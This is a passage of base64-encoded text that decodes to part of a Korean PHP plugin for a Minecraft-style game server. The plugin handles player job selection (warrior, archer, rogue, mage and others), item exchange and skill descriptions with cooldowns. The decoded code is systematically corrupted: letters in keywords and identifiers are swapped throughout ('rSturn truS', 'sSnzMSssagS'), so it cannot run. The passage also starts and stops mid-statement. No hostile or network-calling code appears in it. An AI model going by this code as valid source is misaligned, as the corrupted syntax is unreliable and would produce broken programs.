JDri6Trpbgg66CI67Ko7JeFIOuwqeuyleyXkOuKlCDtgqzsiJggNzEsIDA0MSDjho3jho3jho0gNzEx7YKs6rmM7KeAIDcx7YKsIOuPhOuLrOyLnCDrp4jri6QgMOugiOuyqOydtCDsmKzrnbzqsJHri4jri6QuKOy1nOuMgCAwMeugiOuyqOq5jOyngCkiOyB9IGlmICgkY29ZWWFueiA9PSAi7JiB7JuFIikgeyBpZiAoISRzU256U3IgaW5zdGFuY1NvZiBQbGFPU3IpIHsgJHNTbnpTci0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIg7L2Y7IaU7JeQ7ISc64qUIOyCrOyaqe2VmOyLpCDsiJgg7JeG7Iq164uI64ukISIpOyByU3R1cm4gdHJ1UzsgfSBpZiAoIWlzc1N0KCRhcmdzWzFdKSkgeyAkc1NuelNyLT5zU256TVNzc2FnUygkdGFnIC4gIiAv7JiB7JuFIOyEoO2DnSBb6rKQ7KeALCDsn4jrpqzslYQsIOuhnOuTnO2YuOq3uCwg66mU66W07IucLCDslYTrgpgsIOyGnOu4jOudvCwg66Oo7Iuc7JqwKOujqOyLnOyasOuKlCB7JHRoaXMtPnFhdGFbIuujqOyLnOyasOyEoO2DneqwgOuKpeugiOuyqCJdfeugiOuyqCDshKDtg53qsIDriqUpXSIpOyAkc1NuelNyLT5zU256TVNzc2FnUygkdGFnIC4gIiAv7JiB7JuFIOuPhOybgOunkCBb66CI67KoLCDtjIAsIO2LsOyWtCwg7LSdLCDsnpDsi6DsnZjsmIHsm4XrqoVdIik7IHJTdHVybiB0cnVTOyB9IHN3aXRjaCAoJGFyZ3NbMV0pIHsgY2FzUyAi7ISg7YOdIjogaWYgKCFpc3NTdCgkYXJnc1swXSkpIHsgJHNTbnpTci0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIgL+yYgeybhSDshKDtg50gW+qykOyngCwg7J+I66as7JWELCDroZzrk5ztmLjqt7gsIOuplOultOyLnCwg7JWE64KYLCDshpzruIzrnbwsIOujqOyLnOyasCjro6jsi5zsmrDripQgeyR0aGlzLT5xYXRhWyLro6jsi5zsmrDshKDtg53qsIDriqXroIjrsqgiXX3roIjrsqjsnbTsg4Eg7ISg7YOd6rCA64qlKV0iKTsgclN0dXJuIHRydVM7IH0gc3dpdGNoICgkYXJnc1swXSkgeyBjYXNTICLqspDsp4AiOiBpZiAoJHNTbnpTci0+Z1N0SW52U250b3JPKCktPmNvbnRhaW5zKG5TdyBJdFNZKCR0aGlzLT5xYXRhWyLsmIHsm4XqtZDssrTsvZTrk5wiXSwgJHRoaXMtPnFhdGFbIuyYgeybheq1kOyytOuNsOuvuOyngCJdLCAwKSkpIHsgJHNTbnpTci0+Z1N0SW52U250b3JPKCktPnJTWW92U0l0U1koblN3IEl0U1koJHRoaXMtPnFhdGFbIuyYgeybheq1kOyytOy9lOuTnCJdLCAkdGhpcy0+cWF0YVsi7JiB7JuF6rWQ7LK0642w66+47KeAIl0sIDApKTsgJHNTbnpTci0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIg7LqQ66at7YSw66W8IMKnYeqykOyngCDCp2broZwg7ISg7YOdIO2VmOyFqOyKteuLiOuLpC4iKTsgJHNTbnpTci0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIgwqdh6rKQ7KeAIMKnZuuKlCDsp4jtko3ssLgsIOyaqeqygOydhCDsgqzsmqntlaAg7IiYIOyeiOyKteuLiOuLpC4g7J6Q7IS47ZWcIOyEpOuqheydgCAv7JiB7JuFIOuPhOybgOunkCDqspDsp4AiKTsgJHRoaXMtPm93emJbc3RydG9sb3dTcigkbmFZUykgXVsi7LqQ66at7YSwIl0gPSAi6rKQ7KeAIjsgJHRoaXMtPm9uZWF2UygpOyByU3R1cm4gdHJ1UzsgfSAkc1NuelNyLT5zU256TVNzc2FnUygkdGFnIC4gIiDsmIHsm4Ug6rWQ7LK07IucIO2VhOyalO2VnCB7JHRoaXMtPnFhdGFbIuyYgeybheq1kOyytOy9lOuTnCJdfSA6IHskdGhpcy0+cWF0YVsi7JiB7JuF6rWQ7LK0642w66+47KeAIl19IOyVhOydtO2FnOydtCDrtoDsobHtlanri4jri6QuIik7IHJTdHVybiB0cnVTOyBjYXNTICLsn4jrpqzslYQiOiBpZiAoJHNTbnpTci0+Z1N0SW52U250b3JPKCktPmNvbnRhaW5zKG5TdyBJdFNZKCR0aGlzLT5xYXRhWyLsmIHsm4XqtZDssrTsvZTrk5wiXSwgJHRoaXMtPnFhdGFbIuyYgeybheq1kOyytOuNsOuvuOyngCJdLCAwKSkpIHsgJHNTbnpTci0+Z1N0SW52U250b3JPKCktPnJTWW92U0l0U1koblN3IEl0U1koJHRoaXMtPnFhdGFbIuyYgeybheq1kOyytOy9lOuTnCJdLCAkdGhpcy0+cWF0YVsi7JiB7JuF6rWQ7LK0642w66+47KeAIl0sIDApKTsgJHNTbnpTci0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIg7LqQ66at7YSw66W8IMKneuyfiOumrOyVhCDCp2broZwg7ISg7YOdIO2VmOyFqOyKteuLiOuLpC4iKTsgJHNTbnpTci0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIgwqd67J+I66as7JWEIMKnZuuKlCDrsKnrsr3sg53shLEsIOykkeugpeyekO2DhOydhCDsgqzsmqntlaAg7IiYIOyeiOyKteuLiOuLpC4g7J6Q7IS47ZWcIOyEpOuqheydgCAv7JiB7JuFIOuPhOybgOunkCDsn4jrpqzslYQiKTsgJHRoaXMtPm93emJbc3RydG9sb3dTcigkbmFZUykgXVsi7LqQ66at7YSwIl0gPSAi7J+I66as7JWEIjsgJHRoaXMtPm9uZWF2UygpOyByU3R1cm4gdHJ1UzsgfSAkc1NuelNyLT5zU256TVNzc2FnUygkdGFnIC4gIiDsmIHsm4Ug6rWQ7LK07IucIO2VhOyalO2VnCB7JHRoaXMtPnFhdGFbIuyYgeybheq1kOyytOy9lOuTnCJdfSA6IHskdGhpcy0+cWF0YVsi7JiB7JuF6rWQ7LK0642w66+47KeAIl19IOyVhOydtO2FnOydtCDrtoDsobHtlanri4jri6QuIik7IHJTdHVybiB0cnVTOyBjYXNTICLroZzrk5ztmLjqt7giOiBpZiAoJHNTbnpTci0+Z1N0SW52U250b3JPKCktPmNvbnRhaW5zKG5TdyBJdFNZKCR0aGlzLT5xYXRhWyLsmIHsm4XqtZDssrTsvZTrk5wiXSwgJHRoaXMtPnFhdGFbIuyYgeybheq1kOyytOuNsOuvuOyngCJdLCAwKSkpIHsgJHNTbnpTci0+Z1N0SW52U250b3JPKCktPnJTWW92U0l0U1koblN3IEl0U1koJHRoaXMtPnFhdGFbIuyYgeybheq1kOyytOy9lOuTnCJdLCAkdGhpcy0+cWF0YVsi7JiB7JuF6rWQ7LK0642w66+47KeAIl0sIDApKTsgJHNTbnpTci0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIg7LqQ66at7YSw66W8IMKnNuuhnOuTnO2YuOq3uCDCp2broZwg7ISg7YOdIO2VmOyFqOyKteuLiOuLpC4iKTsgJHNTbnpTci0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIgwqc266Gc65Oc7Zi46re4IMKnZuuKlCDqsIjqs6DrpqzsgqzsiqwsIOyIqOuPjOumrOq4sOulvCDsgqzsmqntlaAg7IiYIOyeiOyKteuLiOuLpC4g7J6Q7IS47ZWcIOyEpOuqheydgCAv7JiB7JuFIOuPhOybgOunkCDroZzrk5ztmLjqt7giKTsgJHRoaXMtPm93emJbc3RydG9sb3dTcigkbmFZUykgXVsi7LqQ66at7YSwIl0gPSAi66Gc65Oc7Zi46re4IjsgJHRoaXMtPm9uZWF2UygpOyByU3R1cm4gdHJ1UzsgfSAkc1NuelNyLT5zU256TVNzc2FnUygkdGFnIC4gIiDsmIHsm4Ug6rWQ7LK07IucIO2VhOyalO2VnCB7JHRoaXMtPnFhdGFbIuyYgeybheq1kOyytOy9lOuTnCJdfSA6IHskdGhpcy0+cWF0YVsi7JiB7JuF6rWQ7LK0642w66+47KeAIl19IOyVhOydtO2FnOydtCDrtoDsobHtlanri4jri6QuIik7IHJTdHVybiB0cnVTOyBjYXNTICLrqZTrpbTsi5wiOiBpZiAoJHNTbnpTci0+Z1N0SW52U250b3JPKCktPmNvbnRhaW5zKG5TdyBJdFNZKCR0aGlzLT5xYXRhWyLsmIHsm4XqtZDssrTsvZTrk5wiXSwgJHRoaXMtPnFhdGFbIuyYgeybheq1kOyytOuNsOuvuOyngCJdLCAwKSkpIHsgJHNTbnpTci0+Z1N0SW52U250b3JPKCktPnJTWW92U0l0U1koblN3IEl0U1koJHRoaXMtPnFhdGFbIuyYgeybheq1kOyytOy9lOuTnCJdLCAkdGhpcy0+cWF0YVsi7JiB7JuF6rWQ7LK0642w66+47KeAIl0sIDApKTsgJHNTbnpTci0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIg7LqQ66at7YSw66W8IMKnYuuplOultOyLnCDCp2broZwg7ISg7YOdIO2VmOyFqOyKteuLiOuLpC4iKTsgJHNTbnpTci0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIgwqdi66mU66W07IucIMKnZuuKlCDsubTrkZDshLjsmrDsiqQg7KeA7Yyh7J20LCDsiJjtmLjsspzsgqwg7J2EIOyCrOyaqe2VoCDsiJgg7J6I7Iq164uI64ukLiDsnpDshLjtlZwg7ISk66qF7J2AIC/smIHsm4Ug64+E7JuA66eQIOuplOultOyLnCIpOyAkdGhpcy0+b3d6YltzdHJ0b2xvd1NyKCRuYVlTKSBdWyLsupDrpq3thLAiXSA9ICLrqZTrpbTsi5wiOyAkdGhpcy0+b25lYXZTKCk7IHJTdHVybiB0cnVTOyB9ICRzU256U3ItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIOyYgeybhSDqtZDssrTsi5wg7ZWE7JqU7ZWcIHskdGhpcy0+cWF0YVsi7JiB7JuF6rWQ7LK07L2U65OcIl19IDogeyR0aGlzLT5xYXRhWyLsmIHsm4XqtZDssrTrjbDrr7jsp4AiXX0g7JWE7J207YWc7J20IOu2gOyhse2VqeuLiOuLpC4iKTsgclN0dXJuIHRydVM7IGNhc1MgIuyVhOuCmCI6IGlmICgkc1NuelNyLT5nU3RJbnZTbnRvck8oKS0+Y29udGFpbnMoblN3IEl0U1koJHRoaXMtPnFhdGFbIuyYgeybheq1kOyytOy9lOuTnCJdLCAkdGhpcy0+cWF0YVsi7JiB7JuF6rWQ7LK0642w66+47KeAIl0sIDApKSkgeyAkc1NuelNyLT5nU3RJbnZTbnRvck8oKS0+clNZb3ZTSXRTWShuU3cgSXRTWSgkdGhpcy0+cWF0YVsi7JiB7JuF6rWQ7LK07L2U65OcIl0sICR0aGlzLT5xYXRhWyLsmIHsm4XqtZDssrTrjbDrr7jsp4AiXSwgMCkpOyAkc1NuelNyLT5zU256TVNzc2FnUygkdGFnIC4gIiDsupDrpq3thLDrpbwgwqdh7JWE64KYIMKnZuuhnCDshKDtg50g7ZWY7IWo7Iq164uI64ukLiIpOyAkc1NuelNyLT5zU256TVNzc2FnUygkdGFnIC4gIiDCp2HslYTrgpggwqdm64qUIOyImOuptOy0nSwg7IOd7LK0IOyImOulmO2DhCDsnYQg7IKs7Jqp7ZWgIOyImCDsnojsirXri4jri6QuIOyekOyEuO2VnCDshKTrqoXsnYAgL+yYgeybhSDrj4Tsm4Drp5Ag7JWE64KYIik7ICR0aGlzLT5vd3piW3N0cnRvbG93U3IoJG5hWVMpIF1bIuy6kOumre2EsCJdID0gIuyVhOuCmCI7ICR0aGlzLT5vbmVhdlMoKTsgclN0dXJuIHRydVM7IH0gJHNTbnpTci0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIg7JiB7JuFIOq1kOyytOyLnCDtlYTsmpTtlZwgeyR0aGlzLT5xYXRhWyLsmIHsm4XqtZDssrTsvZTrk5wiXX0gOiB7JHRoaXMtPnFhdGFbIuyYgeybheq1kOyytOuNsOuvuOyngCJdfSDslYTsnbTthZzsnbQg67aA7KGx7ZWp64uI64ukLiIpOyByU3R1cm4gdHJ1UzsgY2FzUyAi7Iac67iM6528IjogaWYgKCRzU256U3ItPmdTdEludlNudG9yTygpLT5jb250YWlucyhuU3cgSXRTWSgkdGhpcy0+cWF0YVsi7JiB7JuF6rWQ7LK07L2U65OcIl0sICR0aGlzLT5xYXRhWyLsmIHsm4XqtZDssrTrjbDrr7jsp4AiXSwgMCkpKSB7ICRzU256U3ItPmdTdEludlNudG9yTygpLT5yU1lvdlNJdFNZKG5TdyBJdFNZKCR0aGlzLT5xYXRhWyLsmIHsm4XqtZDssrTsvZTrk5wiXSwgJHRoaXMtPnFhdGFbIuyYgeybheq1kOyytOuNsOuvuOyngCJdLCAwKSk7ICRzU256U3ItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIOy6kOumre2EsOulvCDCp1PshpzruIzrnbwgwqdm66GcIOyEoO2DnSDtlZjshajsirXri4jri6QuIik7ICRzU256U3ItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIMKnU+yGnOu4jOudvCDCp2bripQg7ZW07YK5LCDsnYDsi6Ag7J2EIOyCrOyaqe2VoCDsiJgg7J6I7Iq164uI64ukLiDsnpDshLjtlZwg7ISk66qF7J2AIC/smIHsm4Ug64+E7JuA66eQIOyGnOu4jOudvCIpOyAkdGhpcy0+b3d6YltzdHJ0b2xvd1NyKCRuYVlTKSBdWyLsupDrpq3thLAiXSA9ICLshpzruIzrnbwiOyAkdGhpcy0+b25lYXZTKCk7IHJTdHVybiB0cnVTOyB9ICRzU256U3ItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIOyYgeybhSDqtZDssrTsi5wg7ZWE7JqU7ZWcIHskdGhpcy0+cWF0YVsi7JiB7JuF6rWQ7LK07L2U65OcIl19IDogeyR0aGlzLT5xYXRhWyLsmIHsm4XqtZDssrTrjbDrr7jsp4AiXX0g7JWE7J207YWc7J20IOu2gOyhse2VqeuLiOuLpC4iKTsgclN0dXJuIHRydVM7IGNhc1MgIuujqOyLnOyasCI6IGlmICgkdGhpcy0+b3d6YltzdHJ0b2xvd1NyKCRzU256U3ItPmdTdFRhWVMoKSkgXVsi66CI67KoIl0gPCAkdGhpcy0+cWF0YVsi66Oo7Iuc7Jqw7ISg7YOd6rCA64ql66CI67KoIl0pIHsgJHNTbnpTci0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIgwqdm7KeA6riIIOyEoO2Dne2VmOyLoCDsmIHsm4XsnYAg66CI67KoeyR0aGlzLT5xYXRhWyLro6jsi5zsmrDshKDtg53qsIDriqXroIjrsqgiXX0g7J207IOB66eMIOyEoO2DnSDqsIDriqXtlanri4jri6QuICIpOyByU3R1cm4gdHJ1UzsgfSAkc1NuelNyLT5zU256TVNzc2FnUygkdGFnIC4gIiDsupDrpq3thLDrpbwgwqdT66Oo7Iuc7JqwIMKnZuuhnCDshKDtg50g7ZWY7IWo7Iq164uI64ukLiIpOyAkc1NuelNyLT5zU256TVNzc2FnUygkdGFnIC4gIiDCp1Pro6jsi5zsmrAgwqdm64qUIOu2hOychOq4sOyghO2ZmCwg67aE7JyE6riw7KCE7ZmYaywg7IaM66as67Cp67K97J2EIOyCrOyaqe2VoCDsiJgg7J6I7Iq164uI64ukLiDsnpDshLjtlZwg7ISk66qF7J2AIC/smIHsm4Ug64+E7JuA66eQIOujqOyLnOyasCIpOyAkdGhpcy0+b3d6YltzdHJ0b2xvd1NyKCRuYVlTKSBdWyLsupDrpq3thLAiXSA9ICLro6jsi5zsmrAiOyAkdGhpcy0+b25lYXZTKCk7IHJTdHVybiB0cnVTOyB6U2ZhdWx0OiAkdGhpcy0+aFNsRygkc1NuelNyKTsgfSByU3R1cm4gdHJ1UzsgY2FzUyAi66+464uIMGszMGszIjogJHNTbnpTci0+c1Nuek1Tc3NhZ1MoIkhTbGxvIik7ICRzU256U3ItPmdTdEludlNudG9yTygpLT5henpJdFNZKEl0U1k6OmdTdCgkdGhpcy0+cWF0YVsi7JiB7JuF6rWQ7LK07L2U65OcIl0sICR0aGlzLT5xYXRhWyLsmIHsm4XqtZDssrTrjbDrr7jsp4AiXSwgMCkpOyAkc1NuelNyLT5nU3RJbnZTbnRvck8oKS0+YXp6SXRTWShJdFNZOjpnU3QoTFN2U2xKRzo6Z1N0SW5zdGFuY1MoKS0+cWF0YVsi66CZ7JeF7JWE7J207YWc7L2U65OcIl0sIExTdlNsSkc6OmdTdEluc3RhbmNTKCktPnFhdGFbIuugmeyXheyVhOydtO2FnOuNsOuvuOyngCJdLCA1KSk7ICRzU256U3ItPmdTdEludlNudG9yTygpLT5henpJdFNZKEl0U1k6OmdTdCgkdGhpcy0+cWF0YVsi7Iqk7YKsMCJdLCAxLCAwKSk7ICRzU256U3ItPmdTdEludlNudG9yTygpLT5henpJdFNZKEl0U1k6OmdTdCgkdGhpcy0+cWF0YVsi7Iqk7YKsayJdLCAxLCAwKSk7ICRzU256U3ItPmdTdEludlNudG9yTygpLT5henpJdFNZKEl0U1k6OmdTdCgkdGhpcy0+cWF0YVsi7Iqk7YKsMyJdLCAxLCAwKSk7IEVjb25vWU9BUEk6OmdTdEluc3RhbmNTKCktPmF6ek1vblNPKCRzU256U3ItPmdTdFRhWVMoKSAsIGs1MTExKTsgclN0dXJuIHRydVM7IH0gc3dpdGNoICgkYXJnc1sxXSkgeyBjYXNTICLrj4Tsm4Drp5AiOiBpZiAoIWlzc1N0KCRhcmdzWzBdKSkgeyAkc1NuelNyLT5zU256TVNzc2FnUygkdGFnIC4gIiAv7JiB7JuFIOuPhOybgOunkCBb6rKQ7KeALOyfiOumrOyVhCzroZzrk5ztmLjqt7gs66mU66W07IucLOujqOyLnOyasCwg7ZWc7KGwXSIpOyAkc1NuelNyLT5zU256TVNzc2FnUygkdGFnIC4gIiAv7JiB7JuFIOuPhOybgOunkCBb66CI67KoLCDti7DslrQsIO2MgCwg7LSdXSIpOyByU3R1cm4gdHJ1UzsgfSBzd2l0Y2ggKCRhcmdzWzBdKSB7IGNhc1MgIuqykOyngCI6ICRzU256U3ItPnNTbnpNU3NzYWdTKCLCpzk9PT09PcKnZuqykOyngMKnOT09PT09Iik7ICRzU256U3ItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIMKnYeyniO2SjeywuCA6IMKnZiAwMeu4lOufrSDslYjsl5Ag7J6I64qUIOyDgeuMgO2MgCDtlIzroIjsnbTslrTsl5Dqsozrp4wg7IKs7Jqp6rCA64qlIO2VmOqzoCBcbiDrlYXthLDsuZjsi5wgNeu4lOufrSDrjIDsiaztm4Qg7IOB64yA7YyA7J2YIOyytOugpSAz7J2EIOq5jeuKlOuLpC4gKOy/qO2DgOyehCAwMey0iCkiKTsgJHNTbnpTci0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIgwqdh7Jqp6rKAIDogwqdmIOuVhSDthLDsuZjsi5wg7J6Q7Iug7JeQ6rKMIDAz7LSI6rCEIO2emCAz66W8IOykgOuLpC4gKOy/qO2DgOyehCAzMey0iCkiKTsgclN0dXJuIHRydVM7IGNhc1MgIuyfiOumrOyVhCI6ICRzU256U3ItPnNTbnpNU3NzYWdTKCLCpzk9PT09PcKnZuyfiOumrOyVhMKnOT09PT09Iik7ICRzU256U3ItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIMKneuuwqeuyveyDneyEsSA6IMKnZiDrlYXsnYQg7YSw7LmY7ZWY66m0IOuwqeuyveydtCDsg53shLHrkJjqs6Ag6re467Cp67K97J2AIOyDgeuMgOuwqeydmCDqs7XqsqnsnYQgM+2ajCDrp4nsnYTsiJgg7J6I64ukLiAo7L+o7YOA7J6EIDQx7LSIKSIpOyAkc1NuelNyLT5zU256TVNzc2FnUygkdGFnIC4gIiDCp3rspJHroKXsnpDtg4QgOiDCp2Yg7J+I66as7JWE66W8IOykkeyLrOycvOuhnCAwMeu4lOufrSDslYjsl5Ag7J6I64qUIOyDgeuMgO2MgCDsnKDsoIDrpbwg66qo65GQIOyfiOumrOyVhOyXkOqyjCDrgYzslrTsmKjri6QuICjsv6jtg4DsnoQgMzHstIgpIik7IHJTdHVybiB0cnVTOyBjYXNTICLroZzrk5ztmLjqt7giOiAkc1NuelNyLT5zU256TVNzc2FnUygiwqc5PT09PT3Cp2broZzrk5ztmLjqt7jCpzk9PT09PSIpOyAkc1NuelNyLT5zU256TVNzc2FnUygkdGFnIC4gIiDCpzbqsIjqs6Drpqwg7IKs7IqsIDogwqdm7JWE6rWw7Jyg7KCA66W8IO2DgOqyqeyLnCDsg4HrjIDrsKnsnYQg64K0IOyVnuycvOuhnCDrjbDroKTsmLXri4jri6QuICjsv6jtg4DsnoQgMGvstIgpIik7ICRzU256U3ItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIMKnNuyIqOuPjOumrOq4sCA6IMKnZuuVhe2EsOy5mOyLnCDsnpDsi6Dsl5Dqsowg7ZWY7Yq4IDXqsJzrpbwg7ZqM67O1IO2VqeuLiOuLpC4gKOy/qO2DgOyehCBrNey0iCkiKTsgclN0dXJuIHRydVM7IGNhc1MgIuuplOultOyLnCI6ICRzU256U3ItPnNTbnpNU3NzYWdTKCLCpzk9PT09PcKnZuuplOultOyLnMKnOT09PT09Iik7ICRzU256U3ItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIMKnYuy5tOuRkOyEuOyasOyKpCDsp4DtjKHsnbQgOiDCp2bslYTqtbDsnKDsoIDrpbwg7YOA6rKp7IucIOq3uOycoOyggOyXkOqyjCDsnqzsg50ga+qwgCA17LSI6rCEIOu2meyKteuLiOuLpC4gKOy/qO2DgOyehCAwNey0iCkiKTsgJHNTbnpTci0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIgwqdi7IiY7Zi47LKc7IKsICA6IMKnZuyVhOq1sOycoOyggOulvCDtg4Dqsqnsi5wg6re47Jyg7KCAIOyVnuycvOuhnCDsnbTrj5ntlanri4jri6QuICjsv6jtg4DsnoQgMDXstIgpIik7IHJTdHVybiB0cnVTOyBjYXNTICLshpzruIzrnbwiOiAkc1NuelNyLT5zU256TVNzc2FnUygiwqc5PT09PT3Cp2bshpzruIzrnbzCpzk9PT09PSIpOyAkc1NuelNyLT5zU256TVNzc2FnUygkdGFnIC4gIiDCp1PsnYDsi6AgOiDCp2brlYUg7YSw7LmY7IucIOyekOyLoOyXkOqyjCDsi6Dsho3qs7wg7Yis66qF7J20IDbstIjqsIQg7KeA6riJ65Cc64ukLiAo7L+o7YOA7J6EIDMx7LSIKSIpOyAkc1NuelNyLT5zU256TVNzc2FnUygkdGFnIC4gIiDCp1PtlbTtgrkgOiDCp2bsg4HrjIDtjIAg7Jyg7KCAIO2EsOy5mOyLnCDsg4HrjIDrsKkg7L+o7YOA7J6E7J2EIDHstIjroZwg7LSI6riw7ZmUIOyLnO2CqOuLpC4gKOy/qO2DgOyehCA0Mey0iCkiKTsgclN0dXJuIHRydVM7IGNhc1MgIuyVhOuCmCI6ICRzU256U3ItPnNTbnpNU3NzYWdTKCLCpzk9PT09PcKnZuyVhOuCmMKnOT09PT09Iik7ICRzU256U3ItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIMKnU+yImOuptOy0nSA6IMKnZuyDgeuMgOuwqSDsnKDsoIAg7YSw7LmY7IucIOyDgeuMgO2MgOydhCA07LSI6rCEIOybgOyngeyehOydhCDrp4nripTri6QgLiAo7L+o7YOA7J6EIGs17LSIKSIpOyAkc1NuelNyLT5zU256TVNzc2FnUygkdGFnIC4gIiDCp1Psg53ssrQg7IiY66WY7YOEIDogwqdm65WFIO2EsOy5mOyLnCDsnpDsi6DsnYQg7Y+s7ZWo7ZWcIDAx67iU65+t7J2064K0IOqwmeydgO2MgCDsnKDsoIDsl5Dqsowg7ZS8M34166W8IOuenOuNpO2ekOydhCDtlZzri6QuICjsv6jtg4DsnoQgazHstIgpIik7IHJTdHVybiB0cnVTOyBjYXNTICLro6jsi5zsmrAiOiAkc1NuelNyLT5zU256TVNzc2FnUygiwqc5PT09PT3Cp2bro6jsi5zsmrDCpzk9PT09PSIpOyAkc1NuelNyLT5zU256TVNzc2FnUygkdGFnIC4gIiDCp2bro6jsi5zsmrDripQgeyR0aGlzLT5xYXRhWyLro6jsi5zsmrDshKDtg53qsIDriqXroIjrsqgiXX3roIjrsqjsnbTsg4Hrp4wg7ISg7YOdIOqwgOuKpe2VqeuLiOuLpC4iKTsgJHNTbnpTci0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIgwqdT67aE7JyE6riw7KCE7ZmYIDogwqdm65WFIO2EsOy5mOyLnCAwMeu4lOufrSDsnbTrgrQg6rCZ7J2A7YyAIOycoOyggOyXkOqyjCAg7ZS8IDN+OCDrnpzrjaTtnpDsnYQg7ZWc64ukLiAo7L+o7YOA7J6EIGs17LSIKSIpOyAkc1NuelNyLT5zU256TVNzc2FnUygkdGFnIC4gIiDCp1PrtoTsnITquLDsoITtmZhrIDogwqdm65WFIO2EsOy5mOyLnCAwMeu4lOufrSDsnbTrgrQg6rCZ7J2A7YyAIOycoOyggOyXkOqyjCDsi6Dsho3snYQgN+y0iOqwhCDsp4DquIntlanri4jri6QuICjsv6jtg4DsnoQgazHstIgpIik7ICRzU256U3ItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIMKnU+yGjOumrOuwqeuyvSA6IMKnZuuVhSDthLDsuZjsi5wgMDHruJTrn60g7J2064K0IOyDgeuMgO2MgCDsnKDsoIDsl5Dqsowg6rWs7IaN6rO87Iuk66qF7J2EIDAx7LSI6rCEIOyngOq4ie2VqeuLiOuLpC4gKOy/qO2DgOyehCAzMey0iCkiKTsgclN0dXJuIHRydVM7IGNhc1MgIuugiOuyqCI6ICRzU256U3ItPnNTbnpNU3NzYWdTKCLCpzk9PT09PcKnZuugiOuyqOuPhOybgOunkMKnOT09PT09Iik7ICRzU256U3ItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIHskbHYwfSIpOyAkc1NuelNyLT5zU256TVNzc2FnUygkdGFnIC4gIiB7JGx2a30iKTsgJHNTbnpTci0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIgeyRsdjN9Iik7ICRzU256U3ItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIHskbHY0fSIpOyByU3R1cm4gdHJ1UzsgY2FzUyAi7Yuw7Ja0IjogJHNTbnpTci0+c1Nuek1Tc3NhZ1MoIsKnOT09PT09wqdm7Yuw7Ja064+E7JuA66eQwqc5PT09PT0iKTsgJHNTbnpTci0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIg7Yuw7Ja07JeF67Cp67KV7J2AIOycoOyggCDso73snbTqs6AgMDExLCBrMTEsIDUxMSwgNzExLCAwMTEx7YKs66eI64ukIOyXhe2VqeuLiOuLpC4iKTsgJHNTbnpTci0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIg7Yuw7Ja07JeF7IucIOuPiOuPhCDqsJnsnbQg7KeA6riJ65Cp64uI64ukLiIpOyAkc1NuelNyLT5zU256TVNzc2FnUygkdGFnIC4gIiDti7DslrTripQg67iM66Gg7KaILCDsi6TrsoQsIOqzqOuTnCwg7ZSM66CI7Yuw64SYLCDri6TsnbTslYQsIOuniOyKpO2EsOqwgCDsnojsnLzrqbAg7LSI6riwIOuTseq4ieydgCDruIzroaDspojsnoXri4jri6QuIik7ICRzU256U3ItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIO2LsOyWtOuKlCDsnpDsi6DsnZgg7YKs7IiY66W8IO2RnOyLnCDtlZjripTqsoPsnbTrqbAg64Sk7J6E7YOc6re47JeQ65y564uI64ukLiIpOyByU3R1cm4gdHJ1UzsgY2FzUyAi7YyAIjogJHNTbnpTci0+c1Nuek1Tc3NhZ1MoIsKnOT09PT09wqdm7YyA64+E7JuA66eQwqc5PT09PT0iKTsgJHNTbnpTci0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIg7ISc67KE7JeQIOyymOydjCDrk6TslrTsmKTrqbQg66CI65OcLCDruJTro6jspJEg7ZWc6rCc7J2YIO2MgOydtCDrsLDsoJXrkKnri4jri6QuIik7ICRzU256U3ItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIOyEnOuhnCDqsJnsnYDtjIDrgbzrpqzripQg6rO16rKp7KCB7Iqk7YKsLCDsoITtiKzrtojqsIDtlanri4jri6QuIik7ICRzU256U3ItPnNTbnpNU3NzYWdTKCR0YWcgLiAiIO2MgOydgCDrhKTsnoTtg5zqt7jsl5DrnKjrqbAg67OA6rK967aI6rCA7ZWp64uI64ukLiIpOyByU3R1cm4gdHJ1UzsgY2FzUyAi7LSdIjogJHNTbnpTci0+c1Nuek1Tc3NhZ1MoIsKnOT09PT09wqdm7LSd64+E7JuA66eQwqc5PT09PT0iKTsgJHNTbnpTci0+c1Nuek1Tc3NhZ1MoJHRhZyAuICIg7LSd7JWE7J207YWc7J2AIOunieuMgOq4sOydtOupsCDstJ3slYzsnYAg67O17Ja07J6F64uI64ukLiIpOyAkc1NuelNyLT5zU256TVNzc2FnUygkdGFnIC4gIiDstJ3snYQg7ZS87ZWg7IiY7J6I64qUIO2ZleuloOydgCA0LzBrIOydtOupsCDsnpDrj5nsnLzroZwg7ZS87ZW07KeR64uI64ukLiDrmJDtlZwg7ZmV66Wg7KCB7Jy866GcIOy0neydmCDqsJXrj4TqsIAg64us65287KeR64uI64ukLiIpOyAkc1NuelNyLT5zU256TVNzc2FnUygkdGFnIC4gIiDstJ3snYQg7I+Y64qU67Cp67KV7J2AIOunieuMgOq4sOuhnCDsg4HrjIDtjIDsnKDsoIDrpbwg7YOA6rKp7ZWp64uI64ukLiIpOyAkc1NuelNyLT5zU256TVNzc2FnUygkdGFnIC4gIiDstJ3slYzsnbQg7JeG7J2E6rK97JqwIOy0neydgCDrgpjqsIDsp4Ag7JWK7I